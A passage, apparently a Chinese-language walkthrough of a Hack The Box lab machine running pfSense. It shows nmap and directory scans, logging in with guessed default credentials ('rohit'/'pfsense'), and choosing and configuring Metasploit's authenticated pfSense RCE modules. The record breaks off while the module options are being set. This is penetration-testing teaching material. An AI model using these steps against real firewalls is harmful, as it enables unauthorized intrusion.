总体而言是一个非常简单的靶机,吃亏在不知道这个面板是一个cms,想了半天,以及网不好目录扫描不出关键文件
勘探
当然是先用nmap查看一下开放端口
nmap -sV -sC -oA nmap/initial -T5 10.10.10.60
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-07 17:42 EST
Nmap scan report for 10.10.10.60
Host is up (0.097s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.09 seconds
发现打开了80和443,使用的是lighttpd中间件
后期发现,80会跳转至443
所以整台机器只有443一个攻击向量
目录扫描
先用dirsearch扫描,没什么有意义的东西,然后换了一个字典,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 发现有一个txt文件叫system-users.txt
Support ticket
Please create the following user
username: Rohit
password: company defaults
发现给出了登陆面板的账号密码
然后还有一个system-users.txt文件说系统有三个漏洞修复了两个
但是在实际中我们由于不知道这是个cms,以及不知道这个cms到底是个什么公司,所以这里找了很久,最后在尝试登录的时候还发现用户名的首字母不是大写,很坑
“rohit” / “pfsense”这是账号密码
获取root权限
msf操作
登陆进去后发现是一个后台管理面板,但是没有命令行执行的模块,那么我们搜索一下有没有可以利用的exp
msf6 > search pfsense
Matching Modules
================
# Name Disclosure Date Rank
Check Description
- ---- --------------- ----
----- -----------
0 exploit/unix/http/pfsense_clickjacking 2017-11-21 normal
No Clickjacking Vulnerability In CSRF Error Page pfSense
1 exploit/unix/http/pfsense_graph_injection_exec 2016-04-18 excell
ent No pfSense authenticated graph status RCE
2 exploit/unix/http/pfsense_group_member_exec 2017-11-06 excell
ent Yes pfSense authenticated group member RCE
Interact with a module by name or index. For example info 2, use 2 or use exp
loit/unix/http/pfsense_group_member_exec
我们用msf的搜索功能看到了有三个可以利用的exp
我们作为入侵方,已经是系统的管理员账号,那么0号漏洞的点击劫持肯定是没用的,那么我可以尝试一下1和2的rce漏洞
利用也非常简单
msf exploit(unix/http/pfsense_graph_injection_exec) > options
Module options (exploit/unix/http/pfsense_graph_injection_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pfsense yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.10.10.60 yes